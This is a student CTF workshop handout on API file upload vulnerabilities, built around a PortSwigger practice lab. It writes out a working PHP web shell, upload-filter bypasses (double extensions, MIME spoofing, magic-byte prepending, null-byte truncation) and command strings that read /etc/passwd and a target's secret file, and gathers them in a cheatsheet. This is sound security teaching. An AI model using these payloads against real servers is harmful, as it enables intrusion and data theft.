CYBERTECH CLUB @ PSU | CTF WORKSHOP SERIES

MODULE 05

API Exploitation & File Attacks

Participant Handout • Spring 2026

HOW TO USE THIS HANDOUT

This packet mirrors the live workshop deck so you can study async.

1. Hook

SET THE SCENE

When an API does not check whether the file type a user claims matches the file they actually upload, an attacker can rename a web shell to “profile.jpg” and get remote code execution on the server.

Today we will do exactly that: upload a disguised shell, trigger it through the API, and read files the server was never meant to share.

2. Learning Objectives

By the end of this topic, a student can:

- ☐ **Identify** insecure file upload endpoints in an API by testing MIME type and extension validation.
- ☐ **Exploit** a file upload vulnerability to upload and execute a web shell on a target server.
- ☐ **Bypass** common client-side and server-side upload filters using extension spoofing and content-type manipulation.

3. Core Concept

Trusting the client's claim

Many APIs accept file uploads and rely on the client-supplied Content-Type header or the file extension alone to decide whether a file is safe. Neither check is trustworthy because both are fully controlled by the attacker.

Why it works

When the server stores the file in a web-accessible directory and executes it based on extension, uploading a file named shell.php disguised as an image gives the attacker a foothold. The gap between what the server thinks it received and what it actually stored is the entire attack surface.

The rule to remember

Validate by content, not by claim. Check magic bytes server-side, store uploads outside the webroot, and randomize filenames so attackers cannot predict the stored path.

FIGURE 1: A DISGUISED PHP SHELL BECOMES REMOTE CODE EXECUTION

The server accepts the PHP file via the image upload endpoint and stores it. A direct GET request to the stored path executes it as the web server user. The Content-Type check never verified the actual file contents.

4. How It Works

Five steps that match how a tester probes a file upload API, from discovery to code execution.

STEP 01

Discover the Upload Endpoint

Find every place the app takes a file.

- Browse the application and intercept traffic in Burp Suite to find multipart/form-data POST requests.
- Look for parameters like file=, attachment=, or avatar= that accept binary data.

STEP 02

Probe the Validation Logic

Learn what the server actually checks.

- Upload a normal image and confirm it succeeds, noting the stored file's URL.
- Upload a .php file with a safe Content-Type header and observe whether it is rejected by extension or by content.

STEP 03

Craft a Bypass Payload

Fit a web shell through the weakest check.

- Rename the web shell to a double extension such as shell.php.jpg or mixed-case shell.pHp to evade case-sensitive filters.
- Set Content-Type: image/jpeg in the request while keeping the .php extension in the filename parameter.

STEP 04

Upload the Shell

Land the file on disk.

- Send the crafted multipart request through Burp Repeater.
- Confirm the server returns a 200 or 201 with a file path in the response body.

STEP 05

Trigger Remote Code Execution

Prove the file runs as code.

- Request the stored file URL directly in the browser or via curl.
- Append a command parameter (e.g., ?cmd=id) to confirm execution as the web server user.

5. Demo Walkthrough

Run this end to end on the PortSwigger file upload lab. The live demo follows the same script.

Prerequisites

LAB	TOOLS	STATE
RCE via web shell upload	**Burp Suite Community**	**Logged in as wiener / peter**

Lab URL: `https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload`

Step 1: Upload a normal image to learn the stored path

Action. Upload any .jpg via the avatar form on My Account. Note the response or page source for the stored file URL.

Expected. The image appears on the profile page. The stored path is something like /files/avatars/photo.jpg.

Step 2: Create a minimal PHP web shell

Action. Save a file called shell.php locally with the one-line payload shown in the Cheatsheet.

Expected. A local file called shell.php containing a single <?php echo system($_GET['cmd']); ?> line.

Step 3: Upload shell.php as if it were an image

Action. In Burp Repeater, send the upload request with filename="shell.php" and Content-Type: image/jpeg.

Expected. HTTP 200 response and the file stored at /files/avatars/shell.php.

Step 4: Execute a command via the shell

Action. Visit /files/avatars/shell.php?cmd=cat+/home/carlos/secret in the browser or with curl.

Expected. Carlos's secret string prints in the response body. The lab marks the challenge as solved.

6. Common Pitfalls

When something does not work, check these first before asking for help.

SYMPTOM

Shell uploads but returns raw PHP source

Cause: The server is not configured to execute PHP in the upload directory (e.g., an .htaccess override or a non-PHP handler).

Fix: Try alternative extensions the server may execute: .phtml, .php5, or .phar.

SYMPTOM

Upload returns 403 or 'invalid file type'

Cause: Server is validating the magic bytes (file signature) in addition to the extension and header.

Fix: Prepend valid JPEG magic bytes (\xFF\xD8\xFF) to the shell payload before the PHP code.

SYMPTOM

Command output is empty even though the shell runs

Cause: The system() function is disabled; the PHP disable_functions directive blocks it.

Fix: Try alternative execution functions: passthru(), shell_exec(), or exec().

SYMPTOM

Changes have no effect when resending

Cause: You edited the response or replayed a cached request instead of the live upload.

Fix: Intercept the upload before sending, or use Repeater to modify and resend it.

7. Your Challenge

10 – 15 MIN **BEGINNER**

THE TASK

Use the provided PortSwigger lab to upload a PHP web shell disguised as a profile image, then use it to read the secret file stored in Carlos's home directory.

SUCCESS CRITERION

Submit a screenshot showing the secret string retrieved from /home/carlos/secret in the browser or Burp response, alongside the upload request in Burp confirming the .php extension was accepted.

Hints

1. Look at how the avatar upload form sends the file. Which headers identify the file type?
2. Try changing only the filename in the Content-Disposition header and resending.
3. Your shell only needs one line: <?php echo system($_GET['cmd']); ?> and the URL parameter ?cmd= to run commands.

8. Cheatsheet

Keep this page next to you while you practice. Payloads and patterns only, no prose.

COMMAND / PAYLOAD	WHAT IT DOES	WHEN TO USE
`<?php echo system($_GET['cmd']); ?>`	Minimal PHP web shell. Runs OS commands via URL.	First shell to try.
`filename="shell.php.jpg"`	Double-extension bypass.	When server blocks .php by extension.
`Content-Type: image/jpeg`	Spoof MIME type in upload request.	When server checks the header only.
`\xFF\xD8\xFF + PHP code`	Prepend JPEG magic bytes to the payload.	When server checks magic bytes.
`?cmd=id`	Verify RCE as the current user.	Confirm shell executed.
`?cmd=cat+/etc/passwd`	Read a sensitive system file.	Privilege-escalation recon.
`.phtml / .php5 / .phar`	Alternative PHP-handler extensions.	When .php is blacklisted.
`passthru() / shell_exec()`	Alternative execution functions.	When system() is disabled.

Null-byte bypass (older PHP versions)

```
# Null-byte truncation bypass (PHP < 5.3)
filename="shell.php%00.jpg"
# Server truncates at null byte; stored as shell.php
```

Confirm RCE once the shell lands

```
# Prove the shell runs
GET /files/avatars/shell.php?cmd=id HTTP/1.1
# Read Carlos's secret
GET /files/avatars/shell.php?cmd=cat+/home/carlos/secret HTTP/1.1
```

9. Further Reading

Go deeper on your own time with these three resources.

01

PortSwigger: File Upload Vulnerabilities

Covers every bypass technique with progressive interactive labs so you can practice each one hands-on.

https://portswigger.net/web-security/file-upload

02

OWASP: Unrestricted File Upload

Canonical reference for defensive controls: store outside webroot, randomize filenames, validate magic bytes server-side.

https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

03

HackTricks: File Upload

Comprehensive attacker cheatsheet of extension bypasses, magic-byte tricks, and race-condition upload attacks.

https://book.hacktricks.xyz/pentesting-web/file-upload